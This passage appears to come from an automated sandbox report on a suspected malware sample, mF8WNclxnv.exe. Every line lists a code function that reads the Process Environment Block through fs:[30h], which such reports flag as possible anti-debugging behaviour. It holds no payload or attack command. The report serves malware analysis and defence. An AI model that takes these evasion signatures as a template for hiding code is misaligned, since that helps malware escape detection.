            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5705E mov ebx, dword ptr fs:[00000030h]8_2_33A5705E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5705E mov eax, dword ptr fs:[00000030h]8_2_33A5705E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A397A9 mov eax, dword ptr fs:[00000030h]8_2_33A397A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3F7AF mov eax, dword ptr fs:[00000030h]8_2_33A3F7AF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3F7AF mov eax, dword ptr fs:[00000030h]8_2_33A3F7AF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3F7AF mov eax, dword ptr fs:[00000030h]8_2_33A3F7AF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3F7AF mov eax, dword ptr fs:[00000030h]8_2_33A3F7AF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3F7AF mov eax, dword ptr fs:[00000030h]8_2_33A3F7AF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6D7B0 mov eax, dword ptr fs:[00000030h]8_2_33A6D7B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6D7B0 mov eax, dword ptr fs:[00000030h]8_2_33A6D7B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A837B6 mov eax, dword ptr fs:[00000030h]8_2_33A837B6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF7BA mov eax, dword ptr fs:[00000030h]8_2_339AF7BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F78C mov eax, dword ptr fs:[00000030h]8_2_33A6F78C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DD7B0 mov eax, dword ptr fs:[00000030h]8_2_339DD7B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B57C0 mov eax, dword ptr fs:[00000030h]8_2_339B57C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B57C0 mov eax, dword ptr fs:[00000030h]8_2_339B57C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B57C0 mov eax, dword ptr fs:[00000030h]8_2_339B57C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B17EC mov eax, dword ptr fs:[00000030h]8_2_339B17EC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B17EC mov eax, dword ptr fs:[00000030h]8_2_339B17EC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B17EC mov eax, dword ptr fs:[00000030h]8_2_339B17EC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD7E0 mov ecx, dword ptr fs:[00000030h]8_2_339BD7E0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339EF71F mov eax, dword ptr fs:[00000030h]8_2_339EF71F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339EF71F mov eax, dword ptr fs:[00000030h]8_2_339EF71F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F72E mov eax, dword ptr fs:[00000030h]8_2_33A6F72E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7972B mov eax, dword ptr fs:[00000030h]8_2_33A7972B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8B73C mov eax, dword ptr fs:[00000030h]8_2_33A8B73C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8B73C mov eax, dword ptr fs:[00000030h]8_2_33A8B73C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8B73C mov eax, dword ptr fs:[00000030h]8_2_33A8B73C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8B73C mov eax, dword ptr fs:[00000030h]8_2_33A8B73C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B7703 mov eax, dword ptr fs:[00000030h]8_2_339B7703
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B973A mov eax, dword ptr fs:[00000030h]8_2_339B973A
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B973A mov eax, dword ptr fs:[00000030h]8_2_339B973A
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9730 mov eax, dword ptr fs:[00000030h]8_2_339A9730
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9730 mov eax, dword ptr fs:[00000030h]8_2_339A9730
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E5734 mov eax, dword ptr fs:[00000030h]8_2_339E5734
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B3720 mov eax, dword ptr fs:[00000030h]8_2_339B3720
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF720 mov eax, dword ptr fs:[00000030h]8_2_339CF720
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF720 mov eax, dword ptr fs:[00000030h]8_2_339CF720
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF720 mov eax, dword ptr fs:[00000030h]8_2_339CF720
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3740 mov eax, dword ptr fs:[00000030h]8_2_339C3740
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3740 mov eax, dword ptr fs:[00000030h]8_2_339C3740
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3740 mov eax, dword ptr fs:[00000030h]8_2_339C3740
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A83749 mov eax, dword ptr fs:[00000030h]8_2_33A83749
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5375F mov eax, dword ptr fs:[00000030h]8_2_33A5375F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5375F mov eax, dword ptr fs:[00000030h]8_2_33A5375F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5375F mov eax, dword ptr fs:[00000030h]8_2_33A5375F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5375F mov eax, dword ptr fs:[00000030h]8_2_33A5375F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5375F mov eax, dword ptr fs:[00000030h]8_2_33A5375F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB765 mov eax, dword ptr fs:[00000030h]8_2_339AB765
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB765 mov eax, dword ptr fs:[00000030h]8_2_339AB765
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB765 mov eax, dword ptr fs:[00000030h]8_2_339AB765
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB765 mov eax, dword ptr fs:[00000030h]8_2_339AB765
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A76B2 mov eax, dword ptr fs:[00000030h]8_2_339A76B2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A76B2 mov eax, dword ptr fs:[00000030h]8_2_339A76B2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A76B2 mov eax, dword ptr fs:[00000030h]8_2_339A76B2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3368C mov eax, dword ptr fs:[00000030h]8_2_33A3368C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3368C mov eax, dword ptr fs:[00000030h]8_2_33A3368C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3368C mov eax, dword ptr fs:[00000030h]8_2_33A3368C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3368C mov eax, dword ptr fs:[00000030h]8_2_33A3368C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AD6AA mov eax, dword ptr fs:[00000030h]8_2_339AD6AA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AD6AA mov eax, dword ptr fs:[00000030h]8_2_339AD6AA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A436EE mov eax, dword ptr fs:[00000030h]8_2_33A436EE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E16CF mov eax, dword ptr fs:[00000030h]8_2_339E16CF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6D6F0 mov eax, dword ptr fs:[00000030h]8_2_33A6D6F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB6C0 mov eax, dword ptr fs:[00000030h]8_2_339BB6C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F6C7 mov eax, dword ptr fs:[00000030h]8_2_33A6F6C7
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A716CC mov eax, dword ptr fs:[00000030h]8_2_33A716CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A716CC mov eax, dword ptr fs:[00000030h]8_2_33A716CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A716CC mov eax, dword ptr fs:[00000030h]8_2_33A716CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A716CC mov eax, dword ptr fs:[00000030h]8_2_33A716CC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E36EF mov eax, dword ptr fs:[00000030h]8_2_339E36EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B3616 mov eax, dword ptr fs:[00000030h]8_2_339B3616
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B3616 mov eax, dword ptr fs:[00000030h]8_2_339B3616
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E1607 mov eax, dword ptr fs:[00000030h]8_2_339E1607
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339EF603 mov eax, dword ptr fs:[00000030h]8_2_339EF603
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85636 mov eax, dword ptr fs:[00000030h]8_2_33A85636
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF626 mov eax, dword ptr fs:[00000030h]8_2_339AF626
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A4D660 mov eax, dword ptr fs:[00000030h]8_2_33A4D660
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9660 mov eax, dword ptr fs:[00000030h]8_2_339E9660
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9660 mov eax, dword ptr fs:[00000030h]8_2_339E9660
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A4D5B0 mov eax, dword ptr fs:[00000030h]8_2_33A4D5B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A4D5B0 mov eax, dword ptr fs:[00000030h]8_2_33A4D5B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F5BE mov eax, dword ptr fs:[00000030h]8_2_33A6F5BE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A435BA mov eax, dword ptr fs:[00000030h]8_2_33A435BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A435BA mov eax, dword ptr fs:[00000030h]8_2_33A435BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A435BA mov eax, dword ptr fs:[00000030h]8_2_33A435BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A435BA mov eax, dword ptr fs:[00000030h]8_2_33A435BA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A835B6 mov eax, dword ptr fs:[00000030h]8_2_33A835B6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15A9 mov eax, dword ptr fs:[00000030h]8_2_339D15A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15A9 mov eax, dword ptr fs:[00000030h]8_2_339D15A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15A9 mov eax, dword ptr fs:[00000030h]8_2_339D15A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15A9 mov eax, dword ptr fs:[00000030h]8_2_339D15A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15A9 mov eax, dword ptr fs:[00000030h]8_2_339D15A9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3B594 mov eax, dword ptr fs:[00000030h]8_2_33A3B594
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3B594 mov eax, dword ptr fs:[00000030h]8_2_33A3B594
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D95DA mov eax, dword ptr fs:[00000030h]8_2_339D95DA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E55C0 mov eax, dword ptr fs:[00000030h]8_2_339E55C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A855C9 mov eax, dword ptr fs:[00000030h]8_2_33A855C9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D15F4 mov eax, dword ptr fs:[00000030h]8_2_339D15F4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D5D0 mov eax, dword ptr fs:[00000030h]8_2_33A2D5D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D5D0 mov ecx, dword ptr fs:[00000030h]8_2_33A2D5D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A835D7 mov eax, dword ptr fs:[00000030h]8_2_33A835D7
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A835D7 mov eax, dword ptr fs:[00000030h]8_2_33A835D7
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A835D7 mov eax, dword ptr fs:[00000030h]8_2_33A835D7
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F525 mov eax, dword ptr fs:[00000030h]8_2_33A5F525
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E7505 mov eax, dword ptr fs:[00000030h]8_2_339E7505
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E7505 mov ecx, dword ptr fs:[00000030h]8_2_339E7505
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85537 mov eax, dword ptr fs:[00000030h]8_2_33A85537
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ED530 mov eax, dword ptr fs:[00000030h]8_2_339ED530
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ED530 mov eax, dword ptr fs:[00000030h]8_2_339ED530
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BD534 mov eax, dword ptr fs:[00000030h]8_2_339BD534
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B550 mov eax, dword ptr fs:[00000030h]8_2_33A5B550
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B550 mov eax, dword ptr fs:[00000030h]8_2_33A5B550
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B550 mov eax, dword ptr fs:[00000030h]8_2_33A5B550
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB562 mov eax, dword ptr fs:[00000030h]8_2_339AB562
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A574B0 mov eax, dword ptr fs:[00000030h]8_2_33A574B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB480 mov eax, dword ptr fs:[00000030h]8_2_339AB480
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B9486 mov eax, dword ptr fs:[00000030h]8_2_339B9486
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B9486 mov eax, dword ptr fs:[00000030h]8_2_339B9486
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A74B0 mov eax, dword ptr fs:[00000030h]8_2_339A74B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A74B0 mov eax, dword ptr fs:[00000030h]8_2_339A74B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E34B0 mov eax, dword ptr fs:[00000030h]8_2_339E34B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A594E0 mov eax, dword ptr fs:[00000030h]8_2_33A594E0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A814F6 mov eax, dword ptr fs:[00000030h]8_2_33A814F6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A814F6 mov eax, dword ptr fs:[00000030h]8_2_33A814F6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A854DB mov eax, dword ptr fs:[00000030h]8_2_33A854DB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D340D mov eax, dword ptr fs:[00000030h]8_2_339D340D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A37410 mov eax, dword ptr fs:[00000030h]8_2_33A37410
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8547F mov eax, dword ptr fs:[00000030h]8_2_33A8547F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BB440 mov eax, dword ptr fs:[00000030h]8_2_339BB440
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F453 mov eax, dword ptr fs:[00000030h]8_2_33A6F453
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B450 mov eax, dword ptr fs:[00000030h]8_2_33A5B450
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B450 mov eax, dword ptr fs:[00000030h]8_2_33A5B450
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B450 mov eax, dword ptr fs:[00000030h]8_2_33A5B450
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B450 mov eax, dword ptr fs:[00000030h]8_2_33A5B450
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1460 mov eax, dword ptr fs:[00000030h]8_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1460 mov eax, dword ptr fs:[00000030h]8_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1460 mov eax, dword ptr fs:[00000030h]8_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1460 mov eax, dword ptr fs:[00000030h]8_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1460 mov eax, dword ptr fs:[00000030h]8_2_339B1460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CF460 mov eax, dword ptr fs:[00000030h]8_2_339CF460
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9B9F mov eax, dword ptr fs:[00000030h]8_2_339E9B9F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9B9F mov eax, dword ptr fs:[00000030h]8_2_339E9B9F
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9B9F mov eax, dword ptr fs:[00000030h]8_2_339E9B9F
